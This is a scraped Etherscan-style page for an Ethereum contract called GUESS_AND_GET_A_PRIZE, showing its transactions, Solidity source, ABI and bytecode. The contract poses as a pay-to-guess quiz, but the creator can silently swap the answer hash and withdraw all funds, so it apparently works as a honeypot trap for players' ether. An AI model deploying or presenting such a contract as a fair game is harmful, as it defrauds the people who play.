Contract Overview
Balance: 0 Ether
Ether Value: $0
Transactions: 4 txns
 Latest 4 txns

TxHash Age From To Value [TxFee]
0xe8bc903abf05be9d58d1304d11df66ad5b98209bcd5d5beaf941422d0f97e35f120 days 16 hrs ago0x78785d883012467e3c2b01fa4f87d91346eaa25d  IN   0x4bc53ead2ae82e0c723ee8e3d7bacfb1fafea1ce0 Ether0.000092404
0xa5fa124ab36dbc807fd6360ef173cd45db1dd5a4a6ec563ea2460c84921927fe120 days 16 hrs ago0x78785d883012467e3c2b01fa4f87d91346eaa25d  IN   0x4bc53ead2ae82e0c723ee8e3d7bacfb1fafea1ce0 Ether0.000092404
0x3b09280e5aec1df3aa240b35f3ef43d0fe0695e5b5ec287b816a65248b77bd60120 days 19 hrs ago0xcf526c0f993632e3cf7ed574159cfd854685d6cc  IN   0x4bc53ead2ae82e0c723ee8e3d7bacfb1fafea1ce1.030001232448742 Ether0.0000381216
0x62010d8cfb893d2014bb9930818ae5260ebf389ce4186939adbcd03e22ad0879120 days 19 hrs ago0xcf526c0f993632e3cf7ed574159cfd854685d6cc  IN    Contract Creation0 Ether0.000527630986
[ Download CSV Export  ] 
 Internal Transactions as a result of Contract Execution
 Latest 1 Internal Transaction

ParentTxHash Block Age From To Value
0x6b96c6bd82b0854ea4e52e391d46a273a6de6967a4e3b526a88b42c3470e72d75847380120 days 8 hrs ago0x4bc53ead2ae82e0c723ee8e3d7bacfb1fafea1ce0xd19b5dac437122b718a592ec76844dcebdfef43d1.030001232448742 Ether
[ Download CSV Export  ] 
Warning: The Compiled Contract might be susceptible to ExpExponentCleanup (medium/high-severity), EventStructWrongData (very low-severity), NestedArrayFunctionCallDecoder (medium-severity) SolidityCompiler Bugs.

Contract Source Code Verified (Exact Match)
Contract Name: GUESS_AND_GET_A_PRIZE
Compiler Text: v0.4.20+commit.3155dd80
Optimization Enabled: Yes
Runs (Optimiser):  200



  Contract Source Code   Find Similiar Contracts

pragma solidity ^0.4.20;

contract GUESS_AND_GET_A_PRIZE
{
    function Play(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        if(responseHash == keccak256(_response) && msg.value>1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function StartGame(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        question = _question;
        responseHash = _responseHash;
    }
    
    function() public payable{}
}

    Contract ABI  
[{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"StartGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

  Contract Creation Code Switch To Opcodes View
6060604052341561000f57600080fd5b6105188061001e6000396000f30060606040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f1c827f811461006e5780633e3ee859146100f65780633fad9ae01461013e578063648f0bde146101c8578063f50ab247146101db575b005b61006c60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506101e395505050505050565b61006c60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650509335935061028d92505050565b341561014957600080fd5b6101516102c2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018d578082015183820152602001610175565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6004803560248101910135610360565b61006c6103f7565b600254151561028957806040518082805190602001908083835b6020831061021c5780518252601f1990920191602091820191016101fd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600255600082805161025f929160200190610451565b506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b5050565b60015433600160a060020a039081169116146102a857600080fd5b60008280516102bb929160200190610451565b5060025550565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b32600160a060020a031633600160a060020a031614151561038057600080fd5b8181604051808383808284378201915050925050506040519081900390206002541480156103b55750670de0b6b3a764000034115b156102895733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028957600080fd5b60015433600160a060020a0390811691161461041257600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561044f57600080fd5b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061049257805160ff19168380011785556104bf565b828001600101855582156104bf579182015b828111156104bf5782518255916020019190600101906104a4565b506104cb9291506104cf565b5090565b6104e991905b808211156104cb57600081556001016104d5565b905600a165627a7a723058208cff01ef65abb30b0238e3170ffe8e5c68858c227c37e50e4f74b2add0e377630029

   Swarm Source:
bzzr://8cff01ef65abb30b0238e3170ffe8e5c68858c227c37e50e4f74b2add0e37763

 

View All
Block Age transaction Difficulty GasUsed Reward
View All
Block Age UncleNumber Difficulty GasUsed Reward
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.